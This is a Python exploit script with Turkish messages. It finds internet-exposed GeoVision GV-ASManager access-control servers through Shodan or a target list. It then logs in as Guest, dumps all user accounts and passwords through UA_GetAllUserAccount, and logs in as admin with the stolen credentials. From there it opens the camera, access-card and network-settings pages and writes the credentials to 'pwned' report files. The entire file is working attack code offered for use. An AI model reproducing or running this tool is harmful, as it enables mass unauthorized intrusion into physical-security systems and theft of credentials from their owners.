exploit_tool.py

import shodan
import requests
import urllib3
import re
import time
import os

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

SHODAN_API_KEY = "Shodan_API"

def shodan_search(query, limit=10):
    api = shodan.Shodan(SHODAN_API_KEY)
    try:
        results = api.search(query)
        ip_list = [match['ip_str'] for match in results['matches'][:limit]]
        return ip_list
    except Exception as e:
        print(f"[!] Shodan error: {e}")
        return []

def load_targets(filename):
    try:
        with open(filename, "r", encoding="utf-8") as f:
            targets = [line.strip() for line in f if line.strip()]
        return targets
    except Exception as e:
        print(f"[!] Hedefler yüklenirken bir hata oluştu: {e}")
        return []

def guest_login(target_url):
    login_url = target_url.rstrip("/") + "/ASWeb/bin/ASWebCommon.srf"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "User-Agent": "Mozilla/5.0",
        "X-Requested-With": "XMLHttpRequest",
    }
    data = "action=Login&UserID=Guest&Password=&node=xnode-98"

    try:
        session = requests.Session()
        response = session.post(login_url, headers=headers, data=data, verify=False, timeout=10)

        if response.status_code == 200 and "Success" in response.text:
            print("[+] Guest girişi başarılı.")
            return session
        else:
            print("[-] Guest giriş hatalı.")
            return None
    except Exception as e:
        print(f"[!] Oturum açma hatası: {e}")
        return None

def exploit_geovision(session, target_url):
    exploit_url = target_url.rstrip("/") + "/ASWeb/bin/ASWebCommon.srf"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "User-Agent": "Mozilla/5.0",
        "X-Requested-With": "XMLHttpRequest",
    }
    data = "action=UA_GetAllUserAccount&node=xnode-98"

    try:
        response = session.post(exploit_url, headers=headers, data=data, verify=False, timeout=10)

        if response.status_code == 200 and "UserID" in response.text and "Password" in response.text:
            users = extract_users(response.text)
            return users
        else:
            return None
    except Exception as e:
        print(f"[!] Exploit hatası: {e}")
        return None

def extract_users(text):
    user_pattern = r'"UserID"\s*:\s*"([^"]+)"'
    password_pattern = r'"Password"\s*:\s*"([^"]*)"'
    usernames = re.findall(user_pattern, text)
    passwords = re.findall(password_pattern, text)
    return list(zip(usernames, passwords))

def find_admin(users):
    for username, password in users:
        if username.lower() == "admin":
            return username, password
    return None, None

def admin_login(target_url, admin_username, admin_password):
    login_url = target_url.rstrip("/") + "/ASWeb/bin/ASWebCommon.srf"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "User-Agent": "Mozilla/5.0",
        "X-Requested-With": "XMLHttpRequest",
    }
    data = f"action=Login&UserID={admin_username}&Password={admin_password}&node=xnode-98"

    try:
        session = requests.Session()
        response = session.post(login_url, headers=headers, data=data, verify=False, timeout=10)

        if response.status_code == 200 and "Success" in response.text:
            print(f"[+] Yönetici: {admin_username}:{admin_password} bilgileri ile giriş başarılı.")
            return session
        else:
            print("[-] Admin girişi başarısız.")
            return None
    except Exception as e:
        print(f"[!] Admin girişi esnasında bir hata oluştu: {e}")
        return None

def pull_camera_list(session, target_url):
    try:
        url = target_url.rstrip("/") + "/VMWeb/CameraList.aspx"
        response = session.get(url, verify=False, timeout=10)
        if response.status_code == 200:
            return "[+] Kamera listesine erişim başarılı!"
        else:
            return f"[-] Kamera listesi çekilemedi. Hata Kodu: {response.status_code}"
    except Exception as e:
        return f"[!] Kamera listesi çekilirken hata oluştu: {e}"

def pull_card_list(session, target_url):
    try:
        url = target_url.rstrip("/") + "/ASWeb/CardList.aspx"
        response = session.get(url, verify=False, timeout=10)
        if response.status_code == 200:
            return "[+] Erişim kartı listesine erişim sağlandı."
        else:
            return f"[-] Erişim kartı listesi çekilemedi. Hata Kodu: {response.status_code}"
    except Exception as e:
        return f"[!] Kart listesi çekilirken hata oluştu: {e}"

def pull_network_info(session, target_url):
    try:
        url = target_url.rstrip("/") + "/ASWeb/NetworkSetting.aspx"
        response = session.get(url, verify=False, timeout=10)
        if response.status_code == 200:
            return "[+] Ağ ayarlarına erişim sağlandı!"
        else:
            return f"[-] Ağ ayarlarını çekme başarısız oldu. Hata Kodu: {response.status_code}"
    except Exception as e:
        return f"[!] Ağ bilgileri alınırken hata oluştu: {e}"

def process_targets(ip_list):
    for ip in ip_list:
        print(f"\n[>] Hedef: {ip}")
        target = f"https://{ip}"

        session = guest_login(target)
        if session:
            users = exploit_geovision(session, target)
            if users:
                print("[+] Bulunan kullanıcılar:")
                for username, password in users:
                    print(f"    {username} : {password}")

                admin_username, admin_password = find_admin(users)
                if admin_username:
                    admin_session = admin_login(target, admin_username, admin_password)
                    if admin_session:
                        camera_status = pull_camera_list(admin_session, target)
                        card_status = pull_card_list(admin_session, target)
                        network_status = pull_network_info(admin_session, target)

                        print(camera_status)
                        print(card_status)
                        print(network_status)

                        save_report(ip, users, camera_status, card_status, network_status)
                else:
                    print("[-] Admin hesabı bulunamadı.")
            else:
                print("[-] Hiçbir kullanıcı çıkarılmadı, güvenlik açığı yok.")
        else:
            print("[-] Misafir girişi başarısız oldu.")

        time.sleep(2)

def save_report(ip, users, camera_status, card_status, network_status):
    report_name = f"full_pwned_report_{ip.replace('.', '_')}.txt"
    with open(report_name, "w", encoding="utf-8") as f:
        f.write(f"Report for {ip}\n")
        f.write("=" * 40 + "\n\n")
        f.write("Bulunan kullanıcılar:\n")
        for user, password in users:
            f.write(f"Kullanıcı adı: {user} | Şifre: {password}\n")
        f.write("\n")
        f.write(f"Kamera Listesi Durumu: {camera_status}\n")
        f.write(f"Kart Listesi Durumu: {card_status}\n")
        f.write(f"Ağ Bilgi Durumu: {network_status}\n")
    print(f"[+] {report_name} adı ile rapor kaydedildi.")

if __name__ == "__main__":
    print("""
╔═════════════════════════════════════════════════════╗
║   GV-ASManager Full Exploit Tool via ieozfr / Emir  ║
╚═════════════════════════════════════════════════════╝
Bir seçenek seçin:
[1] Shodan API'sini kullanarak hedefleri arayın.
[2] Hedefleri targets.txt dosyasından yükleyin.
""")
    choice = input("Seçiminiz (1/2): ").strip()

    if choice == "1":
        print("[*] Shodan'da aranıyor...")
        query = 'title:"GV-ASManager"'
        ip_list = shodan_search(query, limit=10)
        if ip_list:
            print(f"[+] {len(ip_list)} IP adresleri bulundu.")
            process_targets(ip_list)
        else:
            print("[-] Hiçbir IP bulunamadı veya Shodan hatası.")

    elif choice == "2":
        print("[*] Hedefler targets.txt'dan yükleniyor...")
        ip_list = load_targets("targets.txt")
        if ip_list:
            print(f"[+] {len(ip_list)} hedef yüklendi.")
            process_targets(ip_list)
        else:
            print("[-] Hiçbir hedef yüklenmedi veya dosya eksik değil.")

    else:
        print("[-] Geçersiz seçim. Çıkılıyor...")